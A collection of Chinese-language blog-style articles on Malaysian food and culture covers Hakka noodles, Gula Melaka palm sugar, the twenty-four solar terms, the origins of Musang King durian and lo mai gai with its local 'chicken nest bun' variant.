客家面是一道传统的客家美食，尤其对于中马的朋友来说，更是绝不陌生，不论在茶餐室，食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时，对于什么是“客家面”却是一头雾水，因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以，我们平时吃的客家面究竟是什么？
这就要从客家人的特性说起。相信大部分人都知道，广东人来自广东，福建人来自福建，客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域，也就是古装片里常说的中原地区，的一支民族。从唐朝的安史之乱开始，这支民族每当遇上天灾人祸时，就会往南方迁徙，直到近代才定居在福建，广东两省，而这些地区的居民就把这支外来的民族，称为“客家人”。
虽然这支民族被统称为“客家人”，但他们的聚落却三三两两的分散在各地的山间田野里，彼此间缺少往来，让他们在生活习惯，语言上都有了小差异，演变成今天客家人又可分成河婆客，惠州客等不同籍的客家人。而所谓的客家面，则是出自大埔籍客家人之手，所以原来的名称，其实是大埔面。
大埔面的特色是面条加的碱水少，所以颜色偏白，以面粉和鸡蛋为主要材料。传统的面条制作方法，是师傅坐在一根粗大的竹竿上，上下不断的擀压面团，这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感，这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用，配料不多但是样样精彩：猪油，肉碎，叉烧，青菜，再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色，充分表现出客家人纯朴又豪放的民族特色。
到了现代，年轻人对于籍贯的概念越来越模糊，即使是客家人本身也有不少人只知道自己是客家人，对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通，这些售卖大埔面的摊贩就把名字改成了“客家面”，于是客家面就渐渐取代了原来的大埔面。
和其他一些具有籍贯代表性的食物，如海南鸡饭其实不存在于海南岛一样，客家大埔面也不存在于客家原乡大埔。或许，所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托，吃的是一股思乡情怀，至于这一碗面是否曾存在于他们的家乡，早就不是那么重要了。
Gula Melaka被称为椰糖却不是用椰子做的？原来Gula Melaka的酱制作的！
Gula Melaka是在烹煮大马美食时经常会用到的调味品，不管是主餐还是糕点甜品都能派上用场，尤其是在Cendol这道国民冰品里，Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢？
呈现棕褐色的Gula Melaka通常都被制作成长条状包装，要用到时才切块或融化来做调味。被称为Gula Melaka，相信是因为发源于马六甲，或者是在马六甲被发扬光大的原故，这一点虽然已经没有明确的资料证实，但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测，Gula Melaka和马六甲之间的渊源至少是可以肯定的。
Gula Melaka中文被称为椰糖，但如果你因此而以为它是用椰子做的，那就大错特错了！要制作椰糖，工人必须在椰树开花前，一步一步爬上高大的椰树树梢，用刀子在花苞(还没盛开的花)上割几条开口，让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程，对种植椰树的农民来说也是经济上的损失，因为花苞被割开后就不会开花结果，农民们就少了椰子这份收入。
制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物，然后加热煮成糖浆。渐渐的，这些汁液就越煮越浓稠，颜色也慢慢转变为黄褐色。这个过程中，火候的掌控非常重要，一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时，就把糖浆灌注到竹筒里，等待冷却，硬化和包装。
Gula Melaka的制作过程虽然不算繁复，但是当中的每一步，都包含了农民，采收工人和制作工人的血汗和经验。也正是因为这样的特性，让Gula Melaka到了今天还是难以由工厂和机器大量生产，只能以人工的方式一点一滴，细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵，但是你若尝过它的香味，就知道它的价值所在。
如果你也是Gula Melaka的粉丝，记得把这篇文章分享出去，让更多人对Gula Melaka有更多了解哦！
二十四节气究竟是哪二十四个呢？看完这些超漂亮的插画，你一定会对二十四节气有更多认识！
二十四节气是中华民族的古老祖先们，根据一年内气候和动植物的变化，来制定的一套辅助历法，并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生，但是对我们祖先留下的二十四节气一知半解。今天，就跟着小编来了解二十四节气究竟是哪24个节气吧！
古代的中国人根据气候，把一年划分为二十四个段落，每个段落约十四至十五天，每个段落交界的那一天，即是一个节气。春夏秋冬四季各有六个节气，因此一年总共有二十四个节气。
台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物，创作出一套精美的插画。下面我们就看着这些超有感觉的插画，根据春，夏，秋，冬来了解二十四节气吧！
春天
立春（阳历2月4/5日）：
由“立春”至“立夏”之间约三个月的时间，都称为春天。春节是文化意义上新一年的开始，但立春才是真正春天的开始。这时，湖面结的冰开始融化，鱼儿开始浮出水面。这时有立蛋的传统习俗。
雨水（阳历2月19/20日）：
降雨量开始变多，水獭开始出来捕鱼。古人有“獭祭鱼”的说法，就是说一年的开始，水獭会将解冻的湖泊河流里捉到的鱼用来祭天，以示感恩。
惊蛰（阳历3月5/6日）：
春雷将冬眠中的动物都惊醒了，农民也开始了春天耕作的季节。这时，在香港和一些广东籍人士聚集的地区，都有“打小人”的习俗。
春分（阳历3月20/21日）：
冬天时来到南方过冬的燕子开始回到北方，这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间，是草木开始萌芽生长的日子。
清明（阳历4月4/5日）：
清明时节雨纷纷，是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗，所以称为“清明”。因为水气和阳光充足，开始可以看到彩虹。
谷雨（阳历4月20/21日）：
雨量变多，有利于农作物生长，是播种的好时候，所以称为“谷雨”，被视为“富贵花”的牡丹也在这时盛开。命理中，在谷雨出世的人，非富即贵。
夏天
立夏（阳历5月5/6日）：
和立春一样，代表夏天的开始。青蛙开始鸣叫（也有的说法是指一种潜伏在土地中昆虫开始鸣叫），土壤中的蚯蚓也开始爬出地面。
小满（阳历5月21/22日）：
夏季成熟的农作物开始结果，稻草上结出满满的，小颗的谷粒而下垂，荔枝也开始成熟，但是还没到完全成熟可以采收的时候，所以称为“小满”。
芒种（阳历6月5/6日）：
稻和麦等农作物开始长出“芒”，就是谷物上又细又长的毛，是成熟的象征。之前的绵绵细雨也开始变成午后雷雨，天气渐渐变得干燥炎热，不利农作物生长。
夏至（阳历6月21/22日）：
炎热的天气开始了，可以听见蝉的鸣叫声，西瓜也开始成熟。这天是北半球白天最长的时候，古人相信阳气在这天生长到了极点，之后就会慢慢减弱。端午节也被相信是由夏至演变而来。
小暑（阳历7月7/8日）：
开始吹起温热的风，气候炎热。长为成虫的蟋蟀为了求偶变得好斗，刚长大的老鹰开始学习打猎，是个带有杀气的节气。
大暑（阳历7月23/24日）：
中国地区一年中最热的日子，土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长，这时也是萤火虫飞舞的季节。
秋天
立秋（阳历8月7/8日）：
代表夏天已经过去，秋天来临。凉风吹起，每下一场雨气温就降低一些。龙眼开始成熟，人们会喝桂圆红枣茶补身。
处暑（阳历8月23/24日）：
夏天留下的暑气完全退散，竹子旺盛生长。一些秋天收成的谷类开始成熟。
白露（阳历9月7/8日）：
天气凉快得早晨都会有白色的露水，所以称为“白露”。火龙果，芋头等作物开始成熟结果。候鸟开始往南飞，一些鸟类则开始储存冬天的粮食。
秋分（阳历9月23/24日）：
和春分一样，白天和黑夜的时间一样长。秋分后天气一天比一天凉，是秋高气爽的时节，春夏的昆虫变少了，水气减少天气变得干燥。这时有吃螃蟹的习俗。
寒露（阳历10月8/9日）：
气温更低，早晨露水也开始结霜。鹅已经完成迁徙，莲花也开始生根。
霜降（阳历10月23/24日）：
秋天最后一个节气，天气开始冷得降霜。不耐寒的植物停止生长，呈现一片深秋的景象，也是赏枫叶的时节。柿子，马铃薯开始成熟。
冬天
立冬（阳历11月7/8日）：
冬天开始了，是时候收割农作物收藏起来了，一些动物也开始冬眠。气温有明显的变化，北风也吹得更强了。
小雪（阳历11月22/23日）：
天空开始下起小雪，许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物，如葡萄，包菜开始收成。
大雪（阳历12月7/8日）：
雪越下越大了，是阴气最旺盛的时候。但是也代表阳气开始萌生，一些猛兽开始求偶交配。
冬至（阳历12月21/22日）：
冬至是北半球白天最短的日子，过后阴气开始消散，阳气开始生长。是中华民族庆祝团圆的重要节日。
小寒（阳历1月5/6日）：
代表一年中最冷的日子要到了，喜鹊也开始飞到住家门前筑巢，人们看到喜鹊就知道冬天快要结束，新年要到了。
大寒（阳历1月20/21日）：
一年中最后一个节气，也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量，原本只是表面结冰的湖泊现在连水下都结冻了。
看完这些美丽的二十四节气插画和解说，你是不是对这个记录一年气象的古老系统有更多理解了呢？喜欢的话，赶快把这篇文章分享给朋友吧！
猫山王的由来为何会如此众说纷纭？关于猫山王起源地的3种说法，你相信哪一个？
说到榴莲，相信大马不论是国内外的朋友，第一个想到的就是猫山王；而说到猫山王，就想到大马重要的猫山王产地：彭亨州劳勿（Raub）。但是，关于猫山王这个榴莲品种的起源一直是众说纷纭，小编就整理了几个常见的说法，大家觉得哪一个最有道理呢？
彭亨州劳勿
自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用，甚至拿来请香港首富李嘉诚被媒体大肆报导后，猫山王的名气和身价瞬间如鲤鱼跃龙门一样，国内外皆知，也带动了彭亨州劳勿这个小镇的名气。
作为猫山王的重要产地，很自然而然的劳勿，尤其是双溪吉流（Sungai Klau）和双溪兰（Sungai Ruan）地区，被认为是猫山王的发源地。其实早在90年代之前，当地的农民并非以种植榴莲为生，而是主要种植可可树，并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少，许多农民转而栽种榴莲，主要栽种的品种是D24。
一直到一个从吉兰丹州话望生（Gua Musang）带回劳勿栽种的品种渐渐出了名，大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生，所以把这个果肉厚，种子小，肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下，变成了谐音的猫山王。
吉兰丹州话望生
上世纪60，70年代，吉兰丹州的话望生树桐业兴盛，吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲，味道香浓，于是将树眼带回劳勿，成为劳勿第一批种植该品种的先驱，并在日后将它命名为毛生种，也就是猫山王的前身。
另一个关于“猫山王”的名字由来，也是和Gua Musang脱不了关系。据说，当地甘榜的马来同胞会把熟透的榴莲放入果子狸（Musang）的笼子里。如果是猫山王的话，果子狸闻了会大为兴奋，所以就用Musang的谐音，称为猫山王。
吉兰丹州丹那美拉
虽然普遍上，许多人相信猫山王发源自劳勿或话望生，但根据考察，猫山王这个品种，其实是来自栽种在吉兰丹州丹那美拉（Tanah Merah）欢庆岛（Pulau Raya）上的品种：黄姜榴莲（Durian Kunyit）。
根据岛上被称为“岛主”的庄登文先生表示，欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根，并种下黄姜榴莲的树苗，并演变出属于同种的猫山王。
据悉，往年懂门道的食客会在榴莲季节为猫山王抢破头时，前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁，让岛上的果树都受到重创，现在岛上已经很难吃到黄姜榴莲。
这样看下来的话，其实这3种说法都没有冲突。唯一要在意的是，当我们在讨论猫山王的起源时，我们谈的是“猫山王”这个品种，还是这个名称呢？如果是品种，那它就是发源自吉兰丹州丹那美拉；如果是名称，则是彭亨州劳勿；名称的意思，指的则是吉兰丹州话望生。这样，有比较明白吗？如果你好像了解猫山王多一点的话，就赶快文章分享出去吧！
参考资料：DisoverRaubv ，星洲日报1，星洲日报2
糯米鸡竟然是整百年来没变过的活化石？！你又知道鸡窝包是怎么来的吗？
Cover Image via uf.cari.com.my
糯米鸡不管是在港式点心店还是街头巷尾的华人茶室，都能轻易被找到，可说是有蒸笼的地方就能找到糯米鸡。但是，你可知道这要吃就能吃到的早餐：糯米鸡，可是足足有上百年历史的传统美食？
根据大马本地知名美食家林金城先生的文献，糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是，糯米鸡最初是小贩在夜市沿街叫卖的小吃，满足馋嘴食客的宵夜。小贩们把糯米饭，鸡肉，叉烧和冬菇等馅料蒸熟，即可享用。
糯米鸡 （source：JennyOng食谱）
后来这道小吃在广东，香港等地盛行开来，也从夜市走入茶楼，饭馆，宴会中。于是，为了清理碗盘的方便，出现了以荷叶包裹，类似荷叶饭的糯米鸡。但是，由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法，以致我们今天还能吃到呈包装（倒过来的碗装）糯米鸡，馅料也保留了鸡肉，叉烧，冬菇这些主要馅料。所以，糯米鸡这道超级普遍的早点，可说是一道不折不扣的活化石呢！
鸡窝包（source：有人部落 ）
当然，糯米鸡在马来西亚也演化出本地独有的版本：鸡窝包！发源于雪隆大城堡（Sri Petaling）的大家城茶餐室，鸡窝包正是这里的招牌点心。鸡窝包的外表看起来，就像一个包着糯米鸡的打包。其实，店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身，在里面放入鸡肉，叉烧，冬菇，咸蛋黄等，铺上糯米去蒸。
蒸熟后从蒸碗里倒出，从地下看是厚实的糯米包底，从上面则可以从店家剪开的开口中，一窥包里乾坤，看到躲藏在里面的鸡肉和馅料，就像是一个鸡窝一样，所以取名叫做鸡窝包。鸡窝包推出后，立即挂起一阵旋风，让其他的茶楼，茶室纷纷仿效，连远在雪隆区的茶室也都有机会吃到。
窝仔包和黄金包（source：3atnow）
除了把糯米鸡包进大包里，创意无限的大家城茶楼老板：聂城先生除了鸡窝包这个得意之作外，也推出将马拉糕包进包子里，再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心，都能看到老板对于在传统美食中注入创新的热忱。
如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包，记得找个机会到大城堡，试试看最正宗的味道哦！
大家城点心茶楼
创始年：2002年
地址：140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur
营业时间：08:00pm – 2:00pm
参考资料：有人部落 ，叉烧柄的美食天堂 ，维基百科
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